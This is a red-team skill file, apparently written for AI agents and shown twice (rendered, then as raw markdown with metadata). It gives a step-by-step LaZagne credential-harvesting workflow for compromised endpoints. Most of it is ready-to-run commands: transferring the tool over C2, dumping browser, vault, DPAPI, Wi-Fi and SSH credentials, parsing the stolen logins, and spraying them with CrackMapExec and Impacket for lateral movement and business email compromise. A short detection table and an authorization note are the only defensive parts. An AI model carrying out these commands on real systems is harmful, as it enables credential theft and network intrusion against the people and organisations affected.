Performing Credential Access with LaZagne
Overview
LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.
When to Use
- When conducting security assessments that involve performing credential access with lazagne
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
- Extract credentials from all supported password stores
- Parse and prioritize recovered credentials for lateral movement
- Identify high-value credentials (domain admin, service accounts, cloud access)
- Document credential harvesting results with appropriate evidence handling
- Correlate recovered credentials with BloodHound attack paths
MITRE ATT&CK Mapping
- T1555 - Credentials from Password Stores
- T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
- T1555.004 - Credentials from Password Stores: Windows Credential Manager
- T1552.001 - Unsecured Credentials: Credentials In Files
- T1552.002 - Unsecured Credentials: Credentials in Registry
- T1003.004 - OS Credential Dumping: LSA Secrets
- T1539 - Steal Web Session Cookie
Workflow
Phase 1: LaZagne Deployment
- Transfer LaZagne to the compromised host:
# Pre-compiled executable (Windows)
# Transfer lazagne.exe via C2 channel or file upload
# Python version (requires Python on target)
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne
pip install -r requirements.txt
- Verify execution capability and privileges:
# Check current user context
whoami /priv
# LaZagne works with standard user privileges for user-level stores
# SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
Phase 2: Full Credential Extraction (Windows)
- Run LaZagne with all modules:
# Extract all credentials
lazagne.exe all
# Export results to JSON
lazagne.exe all -oJ
# Export results to specific file
lazagne.exe all -oJ -output C:\Temp\creds
- Run specific modules for targeted extraction:
# Browsers only (Chrome, Firefox, Edge, Opera, IE)
lazagne.exe browsers
# Windows credential stores
lazagne.exe windows
# Database credentials
lazagne.exe databases
# Email client credentials
lazagne.exe mails
# Wi-Fi passwords
lazagne.exe wifi
# Git credentials
lazagne.exe git
# System credentials (requires elevated privileges)
lazagne.exe sysadmin
Phase 3: Credential Extraction (Linux)
- Run LaZagne on Linux targets:
# Full extraction
python3 laZagne.py all
# Browser credentials
python3 laZagne.py browsers
# System credentials (SSH keys, shadow file with root)
python3 laZagne.py sysadmin
# Database credentials
python3 laZagne.py databases
# Git credentials
python3 laZagne.py git
Phase 4: Credential Analysis and Prioritization
- Parse JSON output for unique credentials:
import json
with open("creds.json") as f:
results = json.load(f)
for module in results:
for entry in module.get("results", []):
print(f"Source: {entry.get('Category')}")
print(f" User: {entry.get('Login', 'N/A')}")
print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
- Prioritize credentials by value:
- Domain credentials (AD accounts) for lateral movement
- Cloud service credentials (AWS, Azure, GCP console)
- VPN and remote access credentials
- Database credentials for data access
- Email credentials for business email compromise
- Service account credentials for privilege escalation
Phase 5: Credential Validation and Use
- Validate recovered domain credentials:
# Test domain credentials with CrackMapExec
crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
# Test with Impacket
smbclient.py domain.local/user:'password'@10.10.10.1
- Cross-reference with BloodHound paths for high-value targets
- Use recovered credentials for lateral movement or privilege escalation
Tools and Resources
| Tool |
Purpose |
Platform |
| LaZagne |
Multi-source credential extraction |
Windows/Linux/macOS |
| Mimikatz |
LSASS/DPAPI credential dumping |
Windows |
| SharpChrome |
Chrome credential extraction (.NET) |
Windows |
| SharpDPAPI |
DPAPI credential decryption |
Windows |
| CrackMapExec |
Credential validation and spraying |
Linux |
| Impacket |
Remote credential testing |
Linux (Python) |
LaZagne Module Coverage (Windows)
| Category |
Modules |
| Browsers |
Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |
| Email |
Outlook, Thunderbird, Foxmail |
| Databases |
PostgreSQL, MySQL, SQLiteDB, Robomongo |
| Sysadmin |
PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |
| Windows |
Credential Manager, Vault, DPAPI, Autologon |
| WiFi |
Stored Wi-Fi passwords |
| Git |
Git Credential Store, Git Credential Manager |
| SVN |
TortoiseSVN |
| Chat |
Pidgin, Skype |
Detection Signatures
| Indicator |
Detection Method |
| LaZagne.exe process execution |
EDR process monitoring with hash-based detection |
| Access to Chrome Login Data SQLite DB |
File access monitoring on browser credential stores |
| DPAPI CryptUnprotectData API calls |
API hooking and ETW tracing |
| Access to Windows Credential Manager |
Event 5379 (Credential Manager read) |
| Mass credential store enumeration |
Behavioral analysis for sequential access patterns |
| Python interpreter accessing credential files |
Script block logging and file access auditing |
Validation Criteria
1---2name: performing-credential-access-with-lazagne3description: Extract stored credentials from compromised endpoints using the LaZagne4 post-exploitation tool to recover passwords from browsers, databases, system vaults,5 and applications during authorized red team operations.6domain: cybersecurity7subdomain: red-teaming8tags:9- red-team10- credential-access11- lazagne12- post-exploitation13- password-recovery14- credential-dumping15- lateral-movement16version: '1.0'17author: mahipal18license: Apache-2.019d3fend_techniques:20- File Metadata Consistency Validation21- Content Format Conversion22- File Content Analysis23- Platform Hardening24- File Format Verification25nist_csf:26- ID.RA-0127- GV.OV-0228- DE.AE-0729mitre_attack:30- T159531- T119032- T105933- T107834- T102135mitre_f3:36 version: '1.1'37 tactics:38 - reconnaissance39 - positioning40 - initial-access41 techniques:42 - id: T155543 name: Credentials from Password Stores44 tactic: reconnaissance45 source: attack46 - id: T1555.00347 name: 'Credentials from Password Stores: Credentials from Web Browsers'48 tactic: reconnaissance49 source: attack50 - id: T1555.00551 name: 'Credentials from Password Stores: Password Managers'52 tactic: reconnaissance53 source: attack54 - id: T153955 name: Steal Web Session Cookie56 tactic: positioning57 source: attack58 - id: F1006.00259 name: 'Account Takeover: Exposed Login Credential'60 tactic: initial-access61 source: f362 - id: F100663 name: Account Takeover64 tactic: initial-access65 source: f366metadata:67 source: https://skillmd.com/skills/26zl/performing-credential-access-with-lazagne68---6970# Performing Credential Access with LaZagne7172## Overview7374LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.757677## When to Use7879- When conducting security assessments that involve performing credential access with lazagne80- When following incident response procedures for related security events81- When performing scheduled security testing or auditing activities82- When validating security controls through hands-on testing8384## Prerequisites8586- Familiarity with red teaming concepts and tools87- Access to a test or lab environment for safe execution88- Python 3.8+ with required dependencies installed89- Appropriate authorization for any testing activities9091## Objectives9293- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints94- Extract credentials from all supported password stores95- Parse and prioritize recovered credentials for lateral movement96- Identify high-value credentials (domain admin, service accounts, cloud access)97- Document credential harvesting results with appropriate evidence handling98- Correlate recovered credentials with BloodHound attack paths99100## MITRE ATT&CK Mapping101102- **T1555** - Credentials from Password Stores103- **T1555.003** - Credentials from Password Stores: Credentials from Web Browsers104- **T1555.004** - Credentials from Password Stores: Windows Credential Manager105- **T1552.001** - Unsecured Credentials: Credentials In Files106- **T1552.002** - Unsecured Credentials: Credentials in Registry107- **T1003.004** - OS Credential Dumping: LSA Secrets108- **T1539** - Steal Web Session Cookie109110## Workflow111112### Phase 1: LaZagne Deployment1131. Transfer LaZagne to the compromised host:114 ```powershell115 # Pre-compiled executable (Windows)116 # Transfer lazagne.exe via C2 channel or file upload117118 # Python version (requires Python on target)119 git clone https://github.com/AlessandroZ/LaZagne.git120 cd LaZagne121 pip install -r requirements.txt122 ```1232. Verify execution capability and privileges:124 ```powershell125 # Check current user context126 whoami /priv127128 # LaZagne works with standard user privileges for user-level stores129 # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM130 ```131132### Phase 2: Full Credential Extraction (Windows)1331. Run LaZagne with all modules:134 ```powershell135 # Extract all credentials136 lazagne.exe all137138 # Export results to JSON139 lazagne.exe all -oJ140141 # Export results to specific file142 lazagne.exe all -oJ -output C:\Temp\creds143 ```1442. Run specific modules for targeted extraction:145 ```powershell146 # Browsers only (Chrome, Firefox, Edge, Opera, IE)147 lazagne.exe browsers148149 # Windows credential stores150 lazagne.exe windows151152 # Database credentials153 lazagne.exe databases154155 # Email client credentials156 lazagne.exe mails157158 # Wi-Fi passwords159 lazagne.exe wifi160161 # Git credentials162 lazagne.exe git163164 # System credentials (requires elevated privileges)165 lazagne.exe sysadmin166 ```167168### Phase 3: Credential Extraction (Linux)1691. Run LaZagne on Linux targets:170 ```bash171 # Full extraction172 python3 laZagne.py all173174 # Browser credentials175 python3 laZagne.py browsers176177 # System credentials (SSH keys, shadow file with root)178 python3 laZagne.py sysadmin179180 # Database credentials181 python3 laZagne.py databases182183 # Git credentials184 python3 laZagne.py git185 ```186187### Phase 4: Credential Analysis and Prioritization1881. Parse JSON output for unique credentials:189 ```python190 import json191 with open("creds.json") as f:192 results = json.load(f)193 for module in results:194 for entry in module.get("results", []):195 print(f"Source: {entry.get('Category')}")196 print(f" User: {entry.get('Login', 'N/A')}")197 print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")198 ```1992. Prioritize credentials by value:200 - Domain credentials (AD accounts) for lateral movement201 - Cloud service credentials (AWS, Azure, GCP console)202 - VPN and remote access credentials203 - Database credentials for data access204 - Email credentials for business email compromise205 - Service account credentials for privilege escalation206207### Phase 5: Credential Validation and Use2081. Validate recovered domain credentials:209 ```bash210 # Test domain credentials with CrackMapExec211 crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'212213 # Test with Impacket214 smbclient.py domain.local/user:'password'@10.10.10.1215 ```2162. Cross-reference with BloodHound paths for high-value targets2173. Use recovered credentials for lateral movement or privilege escalation218219## Tools and Resources220221| Tool | Purpose | Platform |222|------|---------|----------|223| LaZagne | Multi-source credential extraction | Windows/Linux/macOS |224| Mimikatz | LSASS/DPAPI credential dumping | Windows |225| SharpChrome | Chrome credential extraction (.NET) | Windows |226| SharpDPAPI | DPAPI credential decryption | Windows |227| CrackMapExec | Credential validation and spraying | Linux |228| Impacket | Remote credential testing | Linux (Python) |229230## LaZagne Module Coverage (Windows)231232| Category | Modules |233|----------|---------|234| Browsers | Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |235| Email | Outlook, Thunderbird, Foxmail |236| Databases | PostgreSQL, MySQL, SQLiteDB, Robomongo |237| Sysadmin | PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |238| Windows | Credential Manager, Vault, DPAPI, Autologon |239| WiFi | Stored Wi-Fi passwords |240| Git | Git Credential Store, Git Credential Manager |241| SVN | TortoiseSVN |242| Chat | Pidgin, Skype |243244## Detection Signatures245246| Indicator | Detection Method |247|-----------|-----------------|248| LaZagne.exe process execution | EDR process monitoring with hash-based detection |249| Access to Chrome Login Data SQLite DB | File access monitoring on browser credential stores |250| DPAPI CryptUnprotectData API calls | API hooking and ETW tracing |251| Access to Windows Credential Manager | Event 5379 (Credential Manager read) |252| Mass credential store enumeration | Behavioral analysis for sequential access patterns |253| Python interpreter accessing credential files | Script block logging and file access auditing |254255## Validation Criteria256257- [ ] LaZagne deployed on compromised endpoint258- [ ] Full credential extraction completed (all modules)259- [ ] Credentials exported in JSON format for analysis260- [ ] Recovered credentials parsed and deduplicated261- [ ] High-value credentials identified and prioritized262- [ ] Domain credentials validated against AD263- [ ] Lateral movement opportunities identified from recovered creds264- [ ] Evidence documented with appropriate handling procedures